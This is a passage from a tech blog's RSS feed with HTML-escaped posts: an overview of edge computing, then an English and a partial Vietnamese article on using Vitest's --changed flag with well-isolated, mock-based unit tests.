&lt;li&gt;&lt;a href=&quot;https://dash.cloudflare.com&quot;&gt;Cloudflare Dashboard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Beyond the Cloud: Why Edge Computing Is the Next Big Shift</title><link>https://dopana-blog.pages.dev/blog/why-edge-computing-is-the-next-big-shift-in-tech</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/why-edge-computing-is-the-next-big-shift-in-tech</guid><description>Discover why Edge Computing and Edge AI represent the next major evolution in tech, cutting latency, conserving bandwidth, and optimizing data processing.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For the past decade, &quot;the cloud&quot; has been the undisputed buzzword of the tech world. Whenever a device generated data—whether a smart thermostat, a factory sensor, or a smartphone camera—that data was traditionally shipped off to a massive, centralized data center thousands of miles away for processing and storage.&lt;/p&gt;
&lt;p&gt;But as our world becomes increasingly saturated with smart devices, autonomous systems, and real-time AI, sending every single byte of data to the cloud is no longer practical. Enter edge computing.&lt;/p&gt;
&lt;h2&gt;What is Edge Computing?&lt;/h2&gt;
&lt;p&gt;Instead of relying on a distant, centralized data center, edge computing processes data as close to its source as possible—at the &quot;edge&quot; of the network.&lt;/p&gt;
&lt;p&gt;Think of it like a local convenience store versus a massive regional supermarket warehouse. If you just need a gallon of milk quickly, driving to the massive warehouse across the state is inefficient. Instead, you go to the corner store down the street. Edge computing places mini-servers, gateways, and processing power right next to the local data source (like IoT sensors or security cameras) to handle information instantly.&lt;/p&gt;
&lt;h2&gt;Why are We Moving to the Edge?&lt;/h2&gt;
&lt;p&gt;Several distinct forces are driving the rapid adoption of edge architecture:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Zero Tolerance for Latency: In applications like self-driving cars, industrial robotics, or high-frequency stock trading, waiting milliseconds for data to travel to the cloud and back can spell disaster. Edge computing enables split-second, real-time decision-making.&lt;/li&gt;
&lt;li&gt;Bandwidth Conservation: Streaming petabytes of raw sensor data or continuous high-definition video feeds to the cloud chokes network bandwidth. Edge nodes filter and analyze data locally, sending only critical summaries upstream.&lt;/li&gt;
&lt;li&gt;Resilience &amp;#x26; Offline Functionality: If an internet connection drops, cloud-dependent systems fail. Edge devices can keep running and making autonomous decisions locally even when completely disconnected from the wider web.&lt;/li&gt;
&lt;li&gt;Enhanced Security &amp;#x26; Privacy: Keeping sensitive data local reduces the window of exposure during transit, helping organizations comply with strict regional data sovereignty and privacy regulations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Real-World Applications&lt;/h2&gt;
&lt;p&gt;Edge computing isn&apos;t just a theoretical concept; it is actively powering industries all around us:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Autonomous Vehicles: Self-driving cars process millions of data points every second from cameras and radar. They cannot afford cloud lag; they need immediate, local compute power to brake or steer instantly.&lt;/li&gt;
&lt;li&gt;Smart Manufacturing (IIoT): Factories use edge sensors to monitor machinery health in real-time. If a machine vibrates abnormally, an edge system can shut it down instantly to prevent catastrophic failure, rather than waiting for cloud approval.&lt;/li&gt;
&lt;li&gt;Healthcare &amp;#x26; Telemedicine: Remote patient monitoring systems and smart medical equipment process critical health metrics locally to alert medical staff instantly in an emergency.&lt;/li&gt;
&lt;li&gt;Retail: Concepts like automated cashier-less stores rely heavily on edge cameras and local processing to track shopping carts and item selection seamlessly without network bottlenecks.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Edge Computing and Edge AI: The Ultimate Pairing&lt;/h2&gt;
&lt;p&gt;The rise of Edge AI—running lightweight machine learning models directly on edge hardware—is turbocharging this trend. Instead of just storing data locally, edge devices are now smart enough to interpret images, recognize speech, and predict maintenance issues independently.&lt;/p&gt;
&lt;h2&gt;Looking Ahead&lt;/h2&gt;
&lt;p&gt;The shift toward edge computing doesn’t mean the cloud is dead. Rather, cloud and edge work in tandem. The edge handles the immediate, high-speed, local workloads, while the centralized cloud handles heavy-duty long-term analytics, global model training, and deep data storage.&lt;/p&gt;
&lt;p&gt;As 5G and 6G networks expand globally, edge infrastructure will only grow faster and more pervasive. The future of technology isn&apos;t just in the cloud—it&apos;s right at the edge.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Edge Computing Architecture &amp;#x26; Standards - ISO/IEC TR 23188:2020&lt;/li&gt;
&lt;li&gt;Cloud-Edge Continuum in Modern Infrastructure Systems&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Vitest `--changed`: Smarter Test Selection for CI</title><link>https://dopana-blog.pages.dev/blog/changed-in-vitest-why-you-should-use-it-and-why-good-unit-tests-make-it-more-effective</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/changed-in-vitest-why-you-should-use-it-and-why-good-unit-tests-make-it-more-effective</guid><description>Use Vitest --changed to run tests based on changed files. But to get the most out of it, write independent unit tests with clear dependency boundaries.</description><pubDate>Wed, 29 Jul 2026 03:56:04 GMT</pubDate><content:encoded>&lt;p&gt;In a project with hundreds or even thousands of unit tests, running the entire test suite every time you change a single line of code can become a significant cost.&lt;/p&gt;
&lt;p&gt;One useful feature Vitest provides for this problem is &lt;code&gt;--changed&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, to really take advantage of &lt;code&gt;--changed&lt;/code&gt;, we need to look at a deeper question:&lt;/p&gt;
&lt;p&gt;How should unit tests be designed so that a small code change only affects a small and predictable set of tests?&lt;/p&gt;
&lt;p&gt;The answer lies in an important principle:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A unit test should test an independent unit and control the dependencies outside that unit&apos;s scope.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. What is &lt;code&gt;vitest --changed&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;Normally, when you run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vitest finds and runs the relevant tests in the project.&lt;/p&gt;
&lt;p&gt;With:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vitest can run tests based on changed files.&lt;/p&gt;
&lt;p&gt;When no value is provided, Vitest considers uncommitted changes, including both staged and unstaged changes.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
├── user/
│   ├── user.service.ts
│   └── user.service.test.ts
├── payment/
│   ├── payment.service.ts
│   └── payment.service.test.ts
└── order/
    ├── order.service.ts
    └── order.service.test.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you only modify &lt;code&gt;user.service.ts&lt;/code&gt;, then:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;can help focus testing on the parts related to that change instead of running the entire suite by default.&lt;/p&gt;
&lt;p&gt;This becomes particularly useful as the test suite grows.&lt;/p&gt;
&lt;h2&gt;2. But &lt;code&gt;--changed&lt;/code&gt; raises an important question&lt;/h2&gt;
&lt;p&gt;Why can we assume that changing &lt;code&gt;user.service.ts&lt;/code&gt; does not require running every test?&lt;/p&gt;
&lt;p&gt;Because we assume the units that depend on it have a relatively clear scope of impact.&lt;/p&gt;
&lt;p&gt;This is closely related to the nature of unit testing.&lt;/p&gt;
&lt;p&gt;A good unit test should not have too many real dependencies involved in the test.&lt;/p&gt;
&lt;p&gt;Suppose we have this service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;class UserService {
  constructor(
    private readonly userRepository: UserRepository,
  ) {}

  async getUserName(id: string) {
    const user = await this.userRepository.findById(id)
    return user.name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We want to test &lt;code&gt;UserService.getUserName()&lt;/code&gt;. A poor approach uses a real database:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;UserService → UserRepository → Database → Network
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means the test depends on the repository implementation, database, schema, data, network, and environment. Changes to any of these can break the test.&lt;/p&gt;
&lt;h2&gt;3. Unit Tests Should Control External Dependencies&lt;/h2&gt;
&lt;p&gt;Instead, mock the repository:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const userRepository = {
  findById: vi.fn(),
}

const userService = new UserService(userRepository)

userRepository.findById.mockResolvedValue({
  id: &apos;1&apos;,
  name: &apos;Alice&apos;,
})

const result = await userService.getUserName(&apos;1&apos;)

expect(result).toBe(&apos;Alice&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;UserService&lt;/code&gt; only cares about the contract &lt;code&gt;userRepository.findById(id)&lt;/code&gt;. It does not need to know whether the repository uses SQL, PostgreSQL, Redis, HTTP API, or ORM.&lt;/p&gt;
&lt;p&gt;We control the dependency with mock data. As a result, the unit test becomes more deterministic.&lt;/p&gt;
&lt;h2&gt;4. Mock Data Is Not Just About Making Tests Easier&lt;/h2&gt;
&lt;p&gt;A common misconception is &quot;Mocking is just a way to avoid using a database.&quot;&lt;/p&gt;
&lt;p&gt;The more important benefit is mocking lets us control the scope of a test&apos;s dependencies.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                  Mock
                   ↓
UserService → UserRepository
                   ↓
             { name: &quot;Alice&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Input controlled. Dependency controlled. Output controlled. This makes unit tests reliable.&lt;/p&gt;
&lt;h2&gt;5. Unit Testing Does Not Mean &quot;You Must Not Call Other Components&quot;&lt;/h2&gt;
&lt;p&gt;In practice, a unit almost always has dependencies:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;class OrderService {
  constructor(
    private readonly paymentService: PaymentService,
    private readonly orderRepository: OrderRepository,
  ) {}

  async createOrder(order: Order) {
    await this.paymentService.charge(order.total)
    return this.orderRepository.create(order)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What we avoid is using real implementations in the unit test:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;             Mock PaymentService
                    ↓
OrderService
                    ↑
             Mock OrderRepository
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const paymentService = { charge: vi.fn() }
const orderRepository = { create: vi.fn() }

paymentService.charge.mockResolvedValue(undefined)
orderRepository.create.mockResolvedValue({ id: &apos;order-1&apos; })

const service = new OrderService(paymentService, orderRepository)
await service.createOrder({ total: 100 })

expect(paymentService.charge).toHaveBeenCalledWith(100)
expect(orderRepository.create).toHaveBeenCalled()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No real payment gateway, database, or network needed. We know exactly which unit is being tested.&lt;/p&gt;
&lt;h2&gt;6. Why Does This Matter for &lt;code&gt;--changed&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; becomes most useful when the test suite has clear dependencies and unit tests are well isolated.&lt;/p&gt;
&lt;p&gt;With 500 test files, a developer changes &lt;code&gt;src/user/UserService.ts&lt;/code&gt;. If dependencies are clear:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;UserService → mock Repository → mock EmailService
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We run &lt;code&gt;vitest --changed&lt;/code&gt; and get quick feedback.&lt;/p&gt;
&lt;p&gt;If tests rely on real implementations (database, Redis, external API), a small change can have unpredictable effects. The assumption &quot;File A changed → run tests related to A&quot; becomes unreliable.&lt;/p&gt;
&lt;h2&gt;7. &lt;code&gt;--changed&lt;/code&gt; Does Not Mean Stop Running the Full Suite&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; is for fast feedback during development, not a replacement for the full test suite.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Developer changes code → vitest --changed → Fast feedback → Commit → CI → Run full suite
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Local:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CI:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest run
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; optimizes the developer feedback loop; it does not replace the full test suite.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;8. Run Tests Based on a Commit&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; is not limited to the current working tree:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed HEAD~1
vitest --changed 09a9920
vitest --changed origin/develop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful for checking changes against a specific branch or commit.&lt;/p&gt;
&lt;h2&gt;9. Coverage Benefits Too&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed --coverage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Coverage report contains only files related to changes — faster, more focused feedback.&lt;/p&gt;
&lt;h2&gt;10. &lt;code&gt;--changed&lt;/code&gt; Doesn&apos;t Mean Your Dependency Graph Is Perfect&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; is not a promise that &quot;only the changed file&apos;s tests need to run.&quot;&lt;/p&gt;
&lt;p&gt;Vitest has &lt;code&gt;forceRerunTriggers&lt;/code&gt;. Changes to Vitest config or &lt;code&gt;package.json&lt;/code&gt; can trigger the full suite — this is sensible since the impact is hard to isolate.&lt;/p&gt;
&lt;h2&gt;11. Good Unit Tests Have Clear Boundaries&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;              OUTSIDE
                  │
        ┌─────────▼─────────┐
        │       UNIT        │
        │  Business Logic   │
        └─────────┬─────────┘
                  │
              OUTSIDE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Things outside the unit (database, HTTP API, filesystem, message queues, time, random, environment) should be controlled when appropriate:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;vi.mock(&apos;./payment-service&apos;)
vi.useFakeTimers()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The goal is control dependencies outside the unit&apos;s responsibility, not mock everything.&lt;/p&gt;
&lt;h2&gt;12. Not Every Dependency Should Be Mocked&lt;/h2&gt;
&lt;p&gt;If we mock everything, tests become detached from real implementation.&lt;/p&gt;
&lt;p&gt;The principle: isolate the unit being tested and control dependencies that could make the test non-deterministic or pull in too much external implementation.&lt;/p&gt;
&lt;h2&gt;13. Unit, Integration, and E2E Tests Have Different Roles&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;              E2E
             /   \
       Integration
          /       \
      Unit Tests
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Unit: fast, deterministic, easy debug, fast feedback.&lt;/li&gt;
&lt;li&gt;Integration: multiple components together (Service → Repository → Test Database).&lt;/li&gt;
&lt;li&gt;E2E: user&apos;s perspective (Browser → API → Service → Database).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not every test should be a unit test.&lt;/p&gt;
&lt;h2&gt;14. Control Impact, Don&apos;t Eliminate Dependencies&lt;/h2&gt;
&lt;p&gt;A unit test only needs to know which dependencies are within scope and which should be controlled:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────────────────┐
│         UserService         │
│         REAL CODE           │
└──────────────┬──────────────┘
               │
       controlled boundary
               │
       ┌───────┴───────┐
       │               │
     Mock            Mock
   Repository    EmailService
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is what keeps unit tests independent.&lt;/p&gt;
&lt;h2&gt;15. From Good Unit Tests to &lt;code&gt;--changed&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Independent unit tests
       ↓
Controlled dependencies
       ↓
Clear scope of impact
       ↓
Easier test partitioning
       ↓
More useful --changed
       ↓
Faster feedback
       ↓
Faster developer iteration
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; encourages thinking about the dependency graph of the test suite — a codebase with good unit tests has clear boundaries between business logic and external dependencies.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vitest --changed&lt;/code&gt; is valuable for large test suites needing fast feedback. But its real power depends on how we design our unit tests.&lt;/p&gt;
&lt;p&gt;A good unit test should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;focus on a specific unit and behavior;&lt;/li&gt;
&lt;li&gt;control dependencies outside the unit&apos;s scope;&lt;/li&gt;
&lt;li&gt;use mocks/stubs/test doubles when real dependencies introduce side effects or non-determinism;&lt;/li&gt;
&lt;li&gt;avoid relying on real databases, networks, or environment data unless those are the test subject;&lt;/li&gt;
&lt;li&gt;let integration tests and E2E tests handle component interactions.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The more independent your unit tests and the clearer your dependency boundaries, the more reliable selective test execution becomes — and the faster your feedback loop gets.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;vitest --changed&lt;/code&gt; becomes genuinely valuable not because we want to test less, but because we want to test the right scope at the right time. For final confidence before merging or deploying, the full test suite remains the essential safety net.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/&quot;&gt;Vitest Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli#changed&quot;&gt;Vitest &lt;code&gt;--changed&lt;/code&gt; Flag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli&quot;&gt;Vitest CLI Options&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/goldbergyoni/javascript-testing-best-practices&quot;&gt;Testing Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/UnitTest.html&quot;&gt;Martin Fowler — Unit Testing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>`--changed` trong Vitest: Chạy Test Thông Minh Hơn</title><link>https://dopana-blog.pages.dev/blog/changed-trong-vitest-vi-sao-unit-test-cang-djoc-lap-thi-cang-djang-dje-chay-chon-loc</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/changed-trong-vitest-vi-sao-unit-test-cang-djoc-lap-thi-cang-djang-dje-chay-chon-loc</guid><description>Vitest --changed chạy test dựa trên file thay đổi. Nhưng để tận dụng tối đa, unit test cần độc lập và dependency boundary rõ ràng. Phân tích chi tiết.</description><pubDate>Wed, 29 Jul 2026 03:54:54 GMT</pubDate><content:encoded>&lt;p&gt;Trong một dự án có hàng trăm, thậm chí hàng nghìn unit test, việc mỗi lần sửa một dòng code lại chạy toàn bộ test suite có thể trở thành một khoản chi phí đáng kể.&lt;/p&gt;
&lt;p&gt;Một trong những tính năng hữu ích của Vitest cho bài toán này là &lt;code&gt;--changed&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nhưng để thực sự tận dụng được &lt;code&gt;--changed&lt;/code&gt;, chúng ta cần nhìn vấn đề sâu hơn: unit test nên được thiết kế như thế nào để một thay đổi nhỏ chỉ ảnh hưởng đến một phạm vi test nhỏ?&lt;/p&gt;
&lt;p&gt;Câu trả lời nằm ở một nguyên tắc rất quan trọng:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Unit test nên kiểm thử một unit độc lập và kiểm soát những dependency nằm ngoài phạm vi của unit đó.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. &lt;code&gt;vitest --changed&lt;/code&gt; là gì?&lt;/h2&gt;
&lt;p&gt;Thông thường, khi chạy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vitest sẽ tìm và chạy các test phù hợp trong project.&lt;/p&gt;
&lt;p&gt;Trong khi đó:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;cho phép Vitest chạy test dựa trên những file đã thay đổi.&lt;/p&gt;
&lt;p&gt;Nếu không truyền giá trị:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vitest sẽ xét các thay đổi chưa commit, bao gồm cả staged và unstaged changes.&lt;/p&gt;
&lt;p&gt;Ví dụ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
├── user/
│   ├── user.service.ts
│   └── user.service.test.ts
├── payment/
│   ├── payment.service.ts
│   └── payment.service.test.ts
└── order/
    ├── order.service.ts
    └── order.service.test.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ta chỉ sửa &lt;code&gt;user.service.ts&lt;/code&gt; thì:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;có thể giúp tập trung việc chạy test vào phần liên quan đến thay đổi thay vì mặc định chạy toàn bộ suite.&lt;/p&gt;
&lt;p&gt;Điều này đặc biệt hữu ích trong quá trình development khi test suite đã lớn.&lt;/p&gt;
&lt;h2&gt;2. Nhưng &lt;code&gt;--changed&lt;/code&gt; đặt ra một câu hỏi quan trọng&lt;/h2&gt;
&lt;p&gt;Có một vấn đề thú vị:&lt;/p&gt;
&lt;p&gt;Tại sao chúng ta có thể tin rằng thay đổi ở &lt;code&gt;user.service.ts&lt;/code&gt; không cần chạy lại tất cả test?&lt;/p&gt;
&lt;p&gt;Bởi vì ta đang giả định rằng phạm vi ảnh hưởng tương đối rõ ràng.&lt;/p&gt;
&lt;p&gt;Điều này rất gần với bản chất của unit test.&lt;/p&gt;
&lt;p&gt;Một unit test tốt không nên có quá nhiều dependency thực tế chen vào quá trình kiểm thử.&lt;/p&gt;
&lt;p&gt;Ví dụ, giả sử có service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;class UserService {
  constructor(
    private readonly userRepository: UserRepository,
  ) {}

  async getUserName(id: string) {
    const user = await this.userRepository.findById(id)

    return user.name
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ta muốn test &lt;code&gt;UserService.getUserName()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Một cách không tốt là để test trực tiếp database thật:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;UserService
    ↓
UserRepository
    ↓
Database
    ↓
Network
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lúc này test của &lt;code&gt;UserService&lt;/code&gt; phụ thuộc vào implementation của repository, database, schema, dữ liệu, network, môi trường chạy test. Khi một trong những thứ này thay đổi, test có thể bị ảnh hưởng.&lt;/p&gt;
&lt;h2&gt;3. Unit test nên kiểm soát dependency bên ngoài&lt;/h2&gt;
&lt;p&gt;Thay vì vậy, chúng ta có thể mock repository:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const userRepository = {
  findById: vi.fn(),
}

const userService = new UserService(userRepository)

userRepository.findById.mockResolvedValue({
  id: &apos;1&apos;,
  name: &apos;Alice&apos;,
})

const result = await userService.getUserName(&apos;1&apos;)

expect(result).toBe(&apos;Alice&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ở đây, &lt;code&gt;UserService&lt;/code&gt; chỉ quan tâm đến contract &lt;code&gt;userRepository.findById(id)&lt;/code&gt;. Nó không cần biết bên dưới repository thực hiện SQL, PostgreSQL, Redis, HTTP API hay ORM.&lt;/p&gt;
&lt;p&gt;Ta đã kiểm soát dependency bằng mock data. Do đó, unit test trở nên deterministic hơn.&lt;/p&gt;
&lt;h2&gt;4. Mock data không chỉ giúp test dễ viết&lt;/h2&gt;
&lt;p&gt;Một hiểu lầm phổ biến là &quot;Mock chỉ để test không cần database.&quot;&lt;/p&gt;
&lt;p&gt;Thực ra lợi ích quan trọng hơn là Mock giúp ta kiểm soát phạm vi ảnh hưởng của test.&lt;/p&gt;
&lt;p&gt;Ta không muốn kết quả test phụ thuộc vào database đang có dữ liệu gì, database có đang chạy không, network có ổn định không, repository implementation có thay đổi không.&lt;/p&gt;
&lt;p&gt;Thay vào đó, ta muốn test có một thế giới rất nhỏ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;                  Mock
                   ↓
UserService → UserRepository
                   ↓
             { name: &quot;Alice&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Input được kiểm soát. Dependency được kiểm soát. Output được kiểm soát. Đó chính là một trong những đặc điểm làm cho unit test trở nên đáng tin cậy.&lt;/p&gt;
&lt;h2&gt;5. Unit test không có nghĩa là &quot;không được gọi dependency&quot;&lt;/h2&gt;
&lt;p&gt;Nói &quot;Unit test không được phụ thuộc vào thành phần code khác&quot; không có nghĩa là unit test không được gọi dependency.&lt;/p&gt;
&lt;p&gt;Trong thực tế, một unit gần như luôn có dependency:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;class OrderService {
  constructor(
    private readonly paymentService: PaymentService,
    private readonly orderRepository: OrderRepository,
  ) {}

  async createOrder(order: Order) {
    await this.paymentService.charge(order.total)

    return this.orderRepository.create(order)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;OrderService&lt;/code&gt; phụ thuộc vào &lt;code&gt;PaymentService&lt;/code&gt; và &lt;code&gt;OrderRepository&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Điều ta cần tránh là để implementation thật của chúng tham gia vào unit test. Thay vào đó:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;             Mock PaymentService
                    ↓
OrderService
                    ↑
             Mock OrderRepository
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Test có thể tập trung vào câu hỏi: &quot;Khi payment thành công, &lt;code&gt;OrderService&lt;/code&gt; có tạo order hay không?&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const paymentService = { charge: vi.fn() }
const orderRepository = { create: vi.fn() }

paymentService.charge.mockResolvedValue(undefined)
orderRepository.create.mockResolvedValue({ id: &apos;order-1&apos; })

const service = new OrderService(paymentService, orderRepository)
await service.createOrder({ total: 100 })

expect(paymentService.charge).toHaveBeenCalledWith(100)
expect(orderRepository.create).toHaveBeenCalled()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Test này không cần payment gateway thật, database thật, network — và quan trọng hơn, ta biết chính xác unit nào đang được kiểm thử.&lt;/p&gt;
&lt;h2&gt;6. Tại sao điều này liên quan đến &lt;code&gt;--changed&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; có ý nghĩa nhất khi test suite có dependency rõ ràng và unit test có tính cô lập tốt.&lt;/p&gt;
&lt;p&gt;Hãy tưởng tượng một project có 500 test files. Developer sửa &lt;code&gt;src/user/UserService.ts&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nếu test suite được thiết kế tốt — phạm vi ảnh hưởng của thay đổi rõ ràng — ta chạy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;và nhanh chóng nhận feedback.&lt;/p&gt;
&lt;p&gt;Ngược lại, nếu unit test làm mọi thứ thông qua implementation thật (database, Redis, external API), một thay đổi nhỏ có thể tạo ảnh hưởng khó đoán. Tư duy &quot;File A thay đổi → chạy test liên quan đến A&quot; trở nên kém hiệu quả.&lt;/p&gt;
&lt;h2&gt;7. &lt;code&gt;--changed&lt;/code&gt; không phải lý do để bỏ chạy toàn bộ test&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; phù hợp để feedback nhanh trong quá trình development, không thay thế full test suite.&lt;/p&gt;
&lt;p&gt;Một workflow hợp lý:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Developer sửa code
       ↓
vitest --changed
       ↓
Feedback nhanh
       ↓
Commit
       ↓
CI
       ↓
Chạy full test suite
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Local:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest --changed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CI:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vitest run
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;--changed&lt;/code&gt; tối ưu developer feedback loop, không thay thế full test suite.&lt;/p&gt;
